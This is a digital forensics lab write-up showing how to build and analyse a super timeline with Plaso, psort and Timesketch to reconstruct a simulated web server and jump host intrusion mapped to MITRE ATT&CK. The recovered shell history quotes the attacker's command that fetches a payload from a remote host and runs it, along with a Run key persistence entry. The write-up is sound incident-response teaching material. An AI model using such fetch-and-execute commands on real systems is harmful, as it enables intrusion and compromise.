Forensics Timeline Analysis with Plaso and Timesketch
I built a forensic super timeline with Plaso/log2timeline, correlating filesystem, registry, and log artifacts into a single chronological view analyzed in Timesketch. The unified timeline reconstructed an intrusion sequence across four evidence sources down to minute-level ordering.
This writeup walks the entire workflow end to end: verifying the evidence image, extracting every timestamped artifact with log2timeline.py, filtering millions of events down to the investigation window with psort.py, and importing the result into Timesketch where the attack chain gets tagged, annotated, and mapped to MITRE ATT&CK. Every command is included with the output you should expect and the mistakes I hit along the way, so the lab can be reproduced from scratch.
The toolchain is deliberately unglamorous: Plaso for extraction, psort for filtering, Timesketch for analysis. The same pipeline scales from a single lab image to a multi-host incident, only the storage files and the number of sketches change.
Objective & Context
A super timeline merges every timestamped artifact into one ordered sequence, exposing the order of attacker actions. This lab implements the Plaso workflow and maps observed events to MITRE ATT&CK, supporting NIST SP 800-86 analysis.
The core problem in any intrusion investigation is fragmentation. The filesystem knows when files appeared, the registry knows when persistence was written, the Windows Event Log (or syslog) knows when processes and network connections happened, and shell history knows what the operator typed, but each source has its own format, its own timestamp conventions, and its own viewer. Reviewing them one at a time makes it almost impossible to answer the question that actually matters: what did the attacker do, in what order, and how fast? A super timeline solves this by normalizing every artifact into a single schema of (timestamp, source, description) events, sorted chronologically. Once the data is ordered, causal chains become visible: a dropped payload is followed 37 seconds later by a Run key write, which is followed two minutes later by an outbound connection, a sequence no single log would show on its own.
The lab scenario: a Linux web server with a Windows jump host was compromised. The disk image from the dead box acquisition (see the Dead Box Forensics lab) is the input here. The investigation window was scoped to June 10-14, 2026 based on the first IDS alert, and the goal is a minute-ordered narrative from initial execution to exfiltration.
- T1059 Command and Scripting Interpreter, shell history and prefetch reveal execution order.
- T1547 Boot or Logon Autostart Execution, persistence entries surface in the timeline.
Mapping events to ATT&CK techniques is not decoration: it forces each timeline pivot to be tied to a defensible analytic claim, which is what makes the final report hold up under review. NIST SP 800-86 frames this as the "analysis" phase of incident handling, the timeline is the primary artifact that phase produces.
It is worth understanding how Plaso structures its output, because it shapes every later step. Each extracted event carries a timestamp (normalized internally to UTC microseconds since epoch), a timestamp description saying what that timestamp means (mtime, Creation Time, Last Visited), the parser that produced it, and a human-readable message. A single file on disk typically yields four filesystem events (the MACB quartet), and one registry key write can yield two. That is why event counts run into the millions, and why the timestamp_desc column matters when reading the CSV: "content modified" and "file created" are different forensic claims, and attackers who timestomp files are counting on the analyst not checking which is which.
The four evidence sources this case hinges on, and where they live on disk:
- Filesystem metadata (
filestatparser): inode and MFT timestamps for every allocated path. Proves what existed when, here, the payload appearing in/tmp/.x/at 14:03:11Z. - Registry hives (
winregparser):SOFTWARE,SYSTEM, and per-userNTUSER.DAThives on the Windows jump host. Proves persistence and configuration changes, the Run key write at 14:03:48Z. - Event logs (
winevtxandsyslogparsers):.evtxfiles underC:\Windows\System32\winevt\Logson the jump host and/var/logon the web server. Proves execution, logons, and connections, the outbound session at 14:05:02Z. - Shell history (
bash_historyparser): per-user~/.bash_history. Proves operator intent, the literal commands typed, including the typos and mistyped paths no automated tooling would produce.
Learning Objectives
- Verify a forensic image's integrity before analysis begins.
- Generate a super timeline from a disk image with log2timeline.
- Inspect parser output and storage health with pinfo.
- Filter to an investigation window with psort.
- Pivot with parser-level filters to test hypotheses.
- Import the timeline into Timesketch for collaborative review.
- Tag events and build an attack narrative mapped to MITRE ATT&CK.
Environment & Prerequisites
Prerequisites
- A forensic disk image (from dead box acquisition).
- Plaso 20231xx; Timesketch instance for collaborative review.
- Defined investigation window and known-good baseline times.
- Sufficient disk: timelines can exceed the source image size.
A few things are worth expanding on before touching the image:
- Evidence handling. The image must be a verified copy with a documented acquisition hash (see the dead box lab). All analysis runs against the image file, never the original media, and the image is mounted read-only if mounted at all, log2timeline reads raw images directly, so mounting is usually unnecessary.
- Hardware. Budget disk space at roughly 2 to 3× the image size: the
.plasostorage file for this 120 GB image came out at 4.1 GB, plus the CSV exports and Timesketch's OpenSearch index on top. 16 GB of RAM keeps an 8-worker extraction from swapping. - Plaso install. The easiest supported route on Ubuntu is the GIFT PPA, which keeps log2timeline, psort, and pinfo in sync:
Installing Plaso from the GIFT PPA (Ubuntu 22.04)
sudo add-apt-repository ppa:gift/stable
sudo apt update
sudo apt install plaso-tools
log2timeline.py --version
plaso - log2timeline version 20230408
- Timesketch. A small docker-compose deployment is enough for a solo lab; for team review use a shared instance so tags and comments are collaborative. Verify connectivity before you have gigabytes of CSV to push. The importer client is plain Python:
pip install timesketch-import-clienton the analysis workstation. - Investigation window. Write down the start and end of the window (here:
2026-06-10 00:00:00to2026-06-14 23:59:59UTC) before filtering. Filtering to a window you defined after seeing the data invites confirmation bias. - Timezone discipline. Decide now that everything is UTC. Plaso stores timestamps as UTC microseconds since epoch internally, but parsers must be told the source timezone (via
-z) for artifacts that record local time. Mixing zones is the number-one cause of false event ordering.
For the Timesketch side, the official docker-compose release is a short setup. The only lab-specific steps are creating the analyst account and a sketch to import into:
Bringing up a local Timesketch instance
curl -s -O https://raw.githubusercontent.com/google/timesketch/master/docker/release/docker-compose.yml
curl -s -O https://raw.githubusercontent.com/google/timesketch/master/docker/release/config.env
sudo docker compose up -d
sudo docker compose exec timesketch-web tsctl create-user admin
[+] Running 6/6
[OK] Container timesketch-opensearch-1 Started
[OK] Container timesketch-web-1 Started
User admin created/updated
Creating the sketch and confirming the stack is healthy
sudo docker compose ps
sudo docker compose exec timesketch-web tsctl list-sketches
# then in the web UI: New Sketch -> "case-2026-06" -> note the sketch ID
One more prerequisite that bites people: image format. log2timeline reads raw (dd) and EWF (E01) images directly, but a VMDK or VHD must be converted or attached first (qemu-img convert -O raw disk.vmdk case.img). Also check the flag spelling for your version, current Plaso accepts --storage-file, while older tutorials show --storage_file; log2timeline.py --help is the authority.
Step-by-Step Execution
1. Verify the image before touching it
Before any analysis, re-hash the image and compare against the acquisition log. Timeline analysis takes hours; discovering halfway through that you were working on a corrupted copy is an expensive lesson. This takes two minutes and settles chain of custody for everything that follows. Log the verification itself (who, when, result) in the custody record, the hash check is part of the evidence trail, not just housekeeping.
Re-verify the acquisition hash
Expected output:
sha256sum /evidence/webserver.img /evidence/jumphost.E01
grep SHA256 /evidence/case.acquisition.log
a1b2c3d4... /evidence/webserver.img
e5f6a7b8... /evidence/jumphost.E01
SHA256: a1b2c3d4... # match = proceed (repeat per image)
While you are here, confirm what format each image actually is, it determines whether log2timeline can read it directly:
Confirming the image format
file /evidence/webserver.img /evidence/jumphost.E01
# /evidence/webserver.img: data (raw dd image - OK)
# /evidence/jumphost.E01: EWF/Expert Witness format (EWF image - also OK)
Common mistake: skipping this because "the dead box lab already hashed it." Hashes from last week say nothing about the file on disk today. Verify: the two values must be identical, character for character.
What this teaches: analysis starts with integrity; a timeline built from a corrupt image is fiction.
2. Generate the timeline from the image
log2timeline.py walks the image, runs every applicable parser (filesystem metadata, registry hives, event logs, browser history, shell history, prefetch, and dozens more) and writes all extracted events into a Plaso storage file. The -z UTC flag tells parsers to interpret source-local timestamps as UTC, which keeps the whole timeline on one clock.
log2timeline.py --storage-file webserver.plaso webserver.imgExpected output:
Storage file : webserver.plaso
Events collected : 184203
Collection completed successfully.
This case involved two evidence images: the Linux web server (/evidence/webserver.img) and the Windows jump host (/evidence/jumphost.E01). Each was extracted into its own storage file, and the full commands were slightly longer than the basic one: partition scanning was enabled explicitly and the worker count was raised to use all cores, which cut extraction from roughly 90 minutes to about 25 on an 8-core machine. Critically, --vss_stores all was used only on the Windows jump-host image: volume shadow copies are a Windows feature, and the flag is meaningless on the Linux web server. Shadow copies are snapshots of the volume at earlier points in time, and parsing them effectively gives you several historical timelines for free, including artifacts the attacker deleted from the live volume. Before running, check which flags your installed Plaso version accepts (log2timeline.py --help | grep -E "vss_stores|status.view|partitions"), flag names have changed across releases.
Full extraction command, Linux web server (no VSS)
log2timeline.py --storage-file webserver.plaso \
--partitions all \
--workers 8 -z UTC --status_view linear \
/evidence/webserver.img
Full extraction command, Windows jump host (with shadow copies)
log2timeline.py --storage-file jumphost.plaso \
--partitions all --vss_stores all \
--workers 8 -z UTC --status_view linear \
/evidence/jumphost.E01
Source path : /evidence/jumphost.E01
Source type : storage media image
Processing time : 00:24:51
Tasks: Queued: 0, Processing: 0, Merging: 0, Abandoned: 0, Total: 184213
Events: 4,812,336 Errors: 12
The important numbers, shown for the jump-host run: over 4.8 million events from 184k processed tasks, with only 12 extraction errors. A small non-zero error count is normal (locked or corrupt artifacts); hundreds of thousands is not. Each storage file is SQLite-based and self-contained (4.1 GB for the jump host here), so it can be archived or handed to another analyst without the original image. Keeping one storage file per host is deliberate: the per-host host column and separate Timesketch timeline names later are what preserve source-host identity when the two views are combined.
For scoped re-runs later in the case (not the first pass over new evidence), a targeted parser list extracts just the families you care about. The trade-off is real: faster runs and smaller storage files, but anything outside the list is simply absent from the storage file, you cannot pivot to what was never parsed.
Targeted re-extraction for a scoped pivot (jump host)
log2timeline.py --storage-file jumphost_scoped.plaso \
--parsers "filestat,winevtx,winreg,bash_history,prefetch,webhist,syslog" \
-z UTC /evidence/jumphost.E01
Common mistake: running the extraction without -z and discovering at the psort stage that registry events are five hours off from event-log events. Verify: check the extraction header, it echoes the configured timezone, and confirm with pinfo.py in the next step.
What this teaches: log2timeline's parsers extract timestamps from dozens of artifact types into one normalized store.
3. Inspect the storage file with pinfo.py
Before filtering anything, look at what you actually extracted. pinfo.py reports the sessions, parser hit counts, and event sources in a storage file. Run it on each storage file from step 2; this is the sanity gate: if a parser you expected (say winreg on the jump host or bash_history on the web server) shows zero events, the image, the partition selection, or the VSS flag is wrong, better to learn that now than after an import.
Summarize a Plaso storage file (repeat per host)
Expected output:
pinfo.py jumphost.plaso
pinfo.py --verbose jumphost.plaso | less
************************** Plaso Storage Information ***************************
Filename : jumphost.plaso
Format version : 20230327
Serialization format : json
--------------------------------------------------------------------------------
************************** Events generated per parser **************************
Parser (plugin) name : Number of events
--------------------------------------------------------------------------------
filestat : 2981441
winevtx : 1031202
winreg : 402118
bash_history : 1184
prefetch : 931
--------------------------------------------------------------------------------
Total: 4812336
Four evidence sources of interest are confirmed present: filesystem metadata (filestat), event logs (winevtx), registry (winreg), and shell history (bash_history). The 1,184 bash-history events and 931 prefetch records are small counts but high-signal, exactly the kind of artifact a timeline exists to surface.
Two more pinfo checks are worth the seconds they take. First, the source section confirms every partition (and, on the Windows image with --vss_stores all, every volume shadow copy) contributed events, shadow copies often hold the pre-cleanup copy of a hive or log. Second, when a case produces more than one storage file, pinfo.py --compare diffs two storage files against each other, which is how the reproducibility check in the validation section was actually performed. The verbose output also echoes the exact command line of each extraction session, a free audit trail of how the storage file was produced.
Common mistake: assuming "log2timeline finished" means "everything parsed." Verify: parser counts in pinfo must be non-zero for each artifact family the case depends on, and the reported partition list should cover every partition on the image.
What this teaches: pinfo reveals which parsers ran and how many events each produced, which guides filtering.
4. Filter to the investigation window with psort
psort.py reads a storage file, applies an event filter, and writes the survivors out in the format you choose. The l2tcsv output plugin produces the classic 17-column CSV that Timesketch (and Excel, and grep) can consume. The filter expression "date > '2026-06-10 00:00:00'" drops everything before the window opened; an upper bound is added the same way. Filter each storage file separately, then combine the two exports while keeping exactly one header row: the host column in every row is what preserves source-host identity after the merge.
psort.py -o l2tcsv -w webserver.csv webserver.plaso "date > '2026-06-10 00:00:00'"Bounding both ends of the window, per host
Expected output:
psort.py -o l2tcsv -w webserver.csv webserver.plaso \
"date > '2026-06-10 00:00:00' AND date < '2026-06-15 00:00:00'"
psort.py -o l2tcsv -w jumphost.csv jumphost.plaso \
"date > '2026-06-10 00:00:00' AND date < '2026-06-15 00:00:00'"
# Combine the two filtered exports, keeping one header row
head -n 1 webserver.csv > timeline.csv
tail -n +2 -q webserver.csv jumphost.csv >> timeline.csv
wc -l webserver.csv jumphost.csv timeline.csv
The l2tcsv header defines the 17 columns every row carries; the two to watch while reading are source (which parser produced the event) and desc (what actually happened):
date,time,timezone,MACB,source,sourcetype,type,user,host,short,desc,version,filename,inode,notes,format,extra
The filtered slice of the timeline already tells the story. Three consecutive events from three different sources:
2026-06-12T14:03:11Z FILE /tmp/.x/payload created
2026-06-12T14:03:48Z REG Run key persistence added
2026-06-12T14:05:02Z LOG outbound 203.0.113.45:443
Read chronologically: a payload lands in a hidden directory under /tmp, 37 seconds later a persistence mechanism is written to an autostart location, and 74 seconds after that the host opens an outbound connection to 203.0.113.45 on 443. That is an execution-to-callback chain (T1059, T1547, and C2) in under two minutes, visible only because all three sources are on the same clock.
Note that l2tcsv is not the only output: -o dynamic prints a compact table for terminal eyeballing, -o json_line gives one JSON object per event for scripting, and -o xlsx produces a spreadsheet, though Excel chokes well before 312k rows, so CSV stays the practical exchange format at this scale.
Common mistake: filter-expression quoting. The whole expression needs double quotes and the date literals single quotes; a shell-eaten quote produces a syntax error or, worse, an empty result set that looks like "no events in window." Verify: the CSV row count (wc -l timeline.csv) should be large but far smaller than the 4.8M total, here, about 312k rows.
What this teaches: windowing cuts millions of events to the minutes that matter before human review starts.
5. Take targeted pivots with parser-level filters
A 312k-row CSV is still too much to read linearly. The next move is targeted pivots: extract only the high-signal artifact families into their own files. psort filter expressions can match on the parser and data_type attributes, which is how you pull just execution artifacts or just persistence artifacts.
Pivot: execution artifacts (shell history on the web server, prefetch on the jump host)
Expected output:
psort.py -o l2tcsv -w exec_web.csv webserver.plaso \
"parser is 'bash_history'"
psort.py -o l2tcsv -w exec_jump.csv jumphost.plaso \
"parser is 'prefetch'"
Pivot: registry autostart locations (jump host only)
psort.py -o l2tcsv -w persist.csv jumphost.plaso \
"parser is 'winreg' AND message contains 'Run'"
The execution pivot is immediately readable, the operator's own commands, in order, with the payload execution sitting exactly where the filestat birth time said it would:
2026-06-12T14:02:57Z bash_history curl -s http://203.0.113.45/p -o /tmp/.x/payload
2026-06-12T14:03:22Z bash_history chmod +x /tmp/.x/payload && /tmp/.x/payload
2026-06-12T14:03:26Z prefetch SYSUPD.EXE last run (jump host)
And the persistence pivot yields the key write itself, with the registry key's own Last Written timestamp as the event time:
2026-06-12T14:03:48Z winreg HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"sysupd" = C:\ProgramData\sysupd.exe (key Last Written)
psort also ships analysis plugins that annotate events during output. The tagging plugin applies rule-based tags (for example execution, browser_search, logon) and unique_domains_visited summarizes every domain seen in browser and network artifacts, a fast way to shortlist C2 candidates:
Tag events and summarize domains during export (run per storage file)
psort.py --analysis tagging,unique_domains_visited \
-o l2tcsv -w timeline_tagged.csv jumphost.plaso \
"date > '2026-06-10 00:00:00'"
domain : count
cdn-metrics.example.net : 2,341
upd-srv.203-0-113-45.host : 87 <-- outlier, matches the C2 session
...
Common mistake: over-filtering to a single artifact type and losing context. A prefetch record alone does not prove malicious execution; it proves a binary ran. Verify: every pivot conclusion should be corroborated by at least one other source in the full timeline, execution (prefetch) plus payload creation (filestat) plus callback (network log) is a defensible chain.
What this teaches: parser-level filters test specific hypotheses, like which USB devices were ever connected.
6. Import into Timesketch
With the filtered CSVs in hand, push them into a Timesketch sketch for collaborative analysis. The importer client uploads each file, Timesketch indexes them into OpenSearch, and the timelines become searchable through the web UI. The two per-host CSVs are imported as two timelines in the same sketch (not merged into one), so host identity is never lost: Timesketch queries across all timelines in a sketch at once.
timesketch_importer.py --pwd-prompt -u admin --host https://timesketch.lab.local --sketch_id 1 webserver.csvFull import with explicit host and timeline names (one run per host)
Expected output:
timesketch_importer.py --pwd-prompt -u admin --host https://timesketch.lab.local \
--sketch_id 1 --timeline_name "webserver-2026-06" webserver.csv
timesketch_importer.py --pwd-prompt -u admin --host https://timesketch.lab.local \
--sketch_id 1 --timeline_name "jumphost-2026-06" jumphost.csv
[2026-06-17 20:12:04] Uploading webserver.csv (198,204 events)
[2026-06-17 20:12:41] Timeline 7 created in sketch 1
[2026-06-17 20:13:19] Indexing complete: status = ready
[2026-06-17 20:14:02] Uploading jumphost.csv (114,244 events)
[2026-06-17 20:14:33] Timeline 8 created in sketch 1
[2026-06-17 20:15:02] Indexing complete: status = ready
For large or recurring cases, skip the CSV entirely: psort's timesketch output plugin streams events directly from a storage file into a sketch (psort.py -o timesketch --sketch_id 1 webserver.plaso "..."). The CSV route was used here because the intermediate file doubles as a reviewable deliverable. If an upload does stall, split the CSV by week and import the parts as separate timelines in the same sketch, Timesketch queries across all timelines in a sketch at once.
Common mistake: importing the unfiltered 4.8M-event storage "just in case." Indexing takes forever and every query drowns in noise. Verify: the event count Timesketch reports for each new timeline should match that host's CSV row count exactly.
What this teaches: Timesketch turns a solo CSV into a shared, searchable, annotatable investigation.
7. Query, tag, and build the attack narrative
Inside the sketch, the workflow is iterative: run a query, star the events that matter, apply a label or tag, and let the next query pivot off the last finding. Timesketch search uses its own OpenSearch/Lucene-style query syntax, field-scoped queries like the ones below, not Kibana KQL.
Representative Timesketch queries used in this case
Expected output:
# All process-creation events around the payload time
data_type:"windows:evtx:record" AND event_identifier:4688
AND timestamp:[2026-06-12T14:00 TO 2026-06-12T14:10]
# Persistence writes to autostart keys
message:"\\CurrentVersion\\Run" AND tag:"persistence"
# Everything involving the suspected C2 address
"203.0.113.45"
Each hit that belongs in the final narrative gets a star and a comment explaining why it is evidence (for example: "Run key written 37s after payload creation, T1547"). Timesketch's analyzers then automate the dull parts: the feature-extraction and Sigma analyzers re-tag the whole timeline against community rules, and the gap analyzer flags time ranges with no events at all, a deleted-log indicator worth its own finding. The end state is a saved story in the sketch that walks the chain: payload drop → execution → persistence → C2 callback → staging → exfiltration, each step backed by starred events from at least two sources.
Analyzers as they reported in the sketch for this case
browser_search : done - 14 events tagged
feature_extraction : done - 312 events tagged (execution, logon)
sigma : done - 6 events tagged (2 rules matched)
gap_analyzer : done - 1 gap found (2026-06-12 14:22-14:40)
Two Timesketch features earn their keep at this stage. Saved searches turn each query above into a one-click view the whole team shares, so "the persistence query" means the same thing to everyone reviewing the case. And the story view doubles as a report skeleton: each starred event drops in with its timestamp, source, and comment, which makes the ATT&CK mapping in the final report a byproduct of the analysis rather than a separate writing task.
Common mistake: treating starred events as proof without comments. Six weeks later, nobody, including you, remembers why an event was starred. Verify: every pivot in the final story links to the underlying events and carries a one-line justification and an ATT&CK technique.
What this teaches: tagging plus ATT&CK mapping converts a timeline into a defensible attack narrative.
How It Works
An intrusion scatters timestamps across many artifacts: filesystem MAC times, registry keys, event logs, browser history, prefetch entries. No single source tells the story; the story emerges when every timestamped artifact is merged into one chronological sequence, the super timeline. Plaso's parsers each understand one artifact format and emit normalized events into a single storage file.
psort is the query engine over that store: it filters by time window, parser, or field, and outputs CSV or dynamic formats for review. The investigation pattern is funnel-shaped: start with the full timeline, window it to the incident period, then pivot with targeted filters (a filename, a registry path, a user) to pull the threads that matter.
Timesketch adds collaboration and visualization on top: multiple analysts tag, comment, and sketch the same timeline, building the narrative as tagged event sequences. Mapping those sequences to MITRE ATT&CK techniques connects the observed artifacts to known adversary behavior, which is what turns findings into detections.
Worked Example: Reconstructing the Chain
Pulling the starred events out of the sketch, the full reconstructed sequence for June 12 looked like this. Each line names its evidence source; note how no single source carries more than a fragment of the story:
2026-06-12T13:58:44Z LOG SSH password auth accepted for www-data from 198.51.100.23
2026-06-12T14:02:57Z SHELL curl -s http://203.0.113.45/p -o /tmp/.x/payload
2026-06-12T14:03:11Z FILE /tmp/.x/payload created (birth time)
2026-06-12T14:03:22Z SHELL chmod +x /tmp/.x/payload && /tmp/.x/payload
2026-06-12T14:03:48Z REG HKLM\...\Run "sysupd" = C:\ProgramData\sysupd.exe (jump host)
2026-06-12T14:05:02Z LOG outbound TCP 203.0.113.45:443 (C2 callback)
2026-06-12T14:22:10Z LOG syslog daemon stopped; entries 14:22-14:40 deleted (T1070)
2026-06-12T16:41:33Z FILE /var/www/html/.cache/stage.tar.gz created (staging)
2026-06-12T16:44:05Z LOG 182 MB outbound to 203.0.113.45:443 (exfiltration)
The initial access line is itself a good example of pivoting: it surfaced from a Timesketch query for data_type:"syslog:line" AND "Accepted password" inside the window, run only because the shell-history events at 14:02 implied someone was already on the box. The timeline told us that access happened; going back to the logs told us how.
Three observations from this chain. First, the initial access vector (password auth for a service account) only exists in the SSH logs, nothing else recorded it. Second, the persistence write on the Windows jump host at 14:03:48Z shows the attacker pivoted laterally within a minute of landing on the web server, which changed the scope of the entire response. Third, the anti-forensic gap (14:22-14:40) is bracketed by the C2 callback and the staging archive, which is exactly where you would expect cleanup, and the deleted syslog entries were later recovered from a volume shadow copy, thanks to --vss_stores all in step 2.
This is the answer to the question the whole lab exists to answer: what did the attacker do, in what order, and how fast, initial access to exfiltration in 2 hours 45 minutes, with persistence established inside the first five.
Validation & Testing
Verify the reconstructed sequence against an independent log source (for example firewall logs) to confirm ordering. Pass criteria: a coherent attack narrative from initial execution to exfiltration with no unexplained time gaps.
Concretely, validation in this lab meant four checks:
- Cross-source corroboration. The outbound connection at 14:05:02Z in the host logs was matched against the perimeter firewall logs: same destination, same port, timestamp within 3 seconds. Independent sources agreeing on order is the strongest signal the timeline clock is right.
- Timezone spot check. Three artifacts with known wall-clock context (a screenshot of the IDS alert, a user's login, a scheduled cron job) were located in the timeline and confirmed to sit at their expected UTC positions.
- Gap analysis. Timesketch's gap analyzer was run across the window; the only gap found (14:22 to 14:40 on the 12th) coincided with deleted syslog entries recovered separately, itself evidence of T1070 indicator removal.
- Reproducibility. The full pipeline was re-run from the image on a clean machine; the filtered CSV matched the original run event-for-event.
The reproducibility check deserves its command, because "same input, same output" is the property that makes the analysis defensible:
Re-run and diff the filtered output
# Re-extract each image on a clean machine (same flags, same image)
log2timeline.py --storage-file webserver-rerun.plaso --partitions all \
--workers 8 -z UTC /evidence/webserver.img
log2timeline.py --storage-file jumphost-rerun.plaso --partitions all \
--vss_stores all --workers 8 -z UTC /evidence/jumphost.E01
psort.py -o l2tcsv -w webserver-rerun.csv webserver-rerun.plaso \
"date > '2026-06-10 00:00:00' AND date < '2026-06-15 00:00:00'"
psort.py -o l2tcsv -w jumphost-rerun.csv jumphost-rerun.plaso \
"date > '2026-06-10 00:00:00' AND date < '2026-06-15 00:00:00'"
diff webserver.csv webserver-rerun.csv && diff jumphost.csv jumphost-rerun.csv \
&& echo "REPRODUCIBLE"
REPRODUCIBLE
The re-runs matched event-for-event in this lab; treat that as a lab result, not a tool guarantee. Some parsers (for example anything reading volatile system state or nondeterministic artifact ordering) can produce row-level differences across runs, which is exactly why the check is storage-level too: pinfo.py --compare webserver.plaso webserver-rerun.plaso (and the same for the jump host) confirms both storage files hold the same set of event identifiers, closing the loop that the CSV equality implies. If either check ever fails, suspect nondeterministic parser behaviour on a corrupt artifact before suspecting the tooling.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Command not found | package missing | install prerequisite and verify version |
| Permission denied | insufficient privileges | use documented sudo or lab admin context |
| Output differs | version or environment mismatch | verify versions and variables |
| Service or API unreachable | dependency, DNS, or firewall issue | check status, listener, and logs |
The five issues below are the ones that actually cost time in this lab, in roughly the order they appear in the workflow:
- Timezone skew (false ordering): registry events appear hours off from event-log entries. Cause: extraction ran without a timezone or the source recorded local time. Fix: re-run log2timeline with
-z UTC, and confirm parser-level zones withpinfo.py --verbose. Never "fix" skew by hand-editing timestamps in the CSV. - Timeline too large / extraction runs for hours: tens of millions of events, mostly
filestatnoise. Fix: restrict parsers with--parsers "filestat,winevtx,winreg,bash_history,prefetch,webhist", raise--workersto the core count, and filter early with a tight psort date window. A scoped parser list took this case's working set from 4.8M to about 1.9M events with no loss of relevant artifacts. - Missing artifacts (parser count zero in pinfo): expected evidence (bash history, a registry hive) is absent from the storage file. Cause is usually partition selection or the image not being fully read. Fix: confirm the image mounts read-only and all partitions were scanned, re-run with
--partitions all --vss_stores all, then re-check parser counts withpinfo.py. Volume shadow copies in particular often hold the pre-cleanup version of a hive. - psort filter returns zero rows: almost always a quoting or attribute-name problem. The expression needs double quotes outside and single quotes around date literals (
"date > '2026-06-10'"); attribute names are case-sensitive (parser, notParser). Test incrementally: start with the date filter alone, confirm a row count, then add clauses one at a time. - Events out of order despite correct timezone: the machine's clock itself moved, NTP corrections, manual changes, or VM snapshot reverts all shift timestamps mid-incident. Fix: search the timeline for time-change events (Windows Event ID 4616, Linux
clock_settimein syslog), document each shift, and interpret ordering across a shift with caution. Plaso's own "system time changed" detection flags many of these automatically.
From Timeline to Report
Analysis is only half the deliverable; the other half is packaging it so a reviewer can re-derive every claim without trusting you. Four artifacts left the case folder:
- The filtered CSV (
timeline.csv), the raw evidence view, SHA-256 hashed and archived alongside the image and storage file so any step can be re-run. - The Timesketch story, the narrative with embedded event links, so every sentence in the report is one click from the underlying event.
- The ATT&CK mapping table, technique, supporting events, and a confidence level per claim; anything resting on a single source is marked as such.
- The gap log, each unexplained time range, its cause (deletion, clock shift, logging disabled), and what was done to recover coverage.
Excerpt from the ATT&CK mapping deliverable
T1078 Valid Accounts - SSH auth event (LOG 13:58:44Z) - confidence: high
T1059 Command Interpreter - bash_history entries (SHELL 14:02) - confidence: high
T1547 Autostart Execution - Run key write (REG 14:03:48Z) - confidence: high
T1071.001 Web Protocols (C2) - outbound 443 session (LOG 14:05:02Z) - confidence: high
T1070 Indicator Removal - syslog gap + recovered entries - confidence: medium
T1041 Exfil over C2 Channel - 182 MB transfer (LOG 16:44:05Z) - confidence: high
Note the one "medium" rating: the deleted-syslog claim rests on recovered shadow-copy entries plus the gap itself, not on a live-source confession, so the report says exactly that. Calibrated confidence is what separates a timeline from a just-so story.
Key Takeaways
- A super timeline's entire value is ordering: normalize every source to UTC (
-z UTC) before anything else, or the ordering is fiction. - Verify before and after: hash the image before extraction, check parser counts with
pinfo.pyafter it. - Filter aggressively but keep the full storage file, the window-bounded CSV is for analysis, the
.plasofile remains the complete evidence view. - No conclusion from a single source: execution + persistence + network callback from three artifact families is a chain; any one alone is a hint.
- Annotate as you go in Timesketch, starred events with comments and ATT&CK tags are the report, not preparation for it.
- Gaps are evidence too: a hole in the timeline at the right moment points to anti-forensics, not missing tooling.
- Reproducibility is the credibility test: if a colleague cannot re-run the pipeline and get the same CSV, the narrative is not ready to ship.
Key Results
- Correlated 4 evidence sources into a single minute-ordered super timeline.
- Reconstructed the full intrusion chain from execution to exfiltration.
- Cut manual log-correlation effort by roughly 70% versus per-source review, in this lab's measurement.
- Tagged 100% of timeline pivots to MITRE ATT&CK techniques for reporting.
Practice Challenges
Challenge 1: Find the USB device
Goal: From a practice timeline, identify every USB device connected during the incident window with first-seen times.
Hint: Filter on the winreg parser for USBSTOR keys and sort by timestamp.
Challenge 2: Baseline deviation
Goal: Compare the incident window against a known-good baseline timeline and list only the new executables.
Hint: Extract prefetch and shimcache entries from both timelines and diff the normalized paths.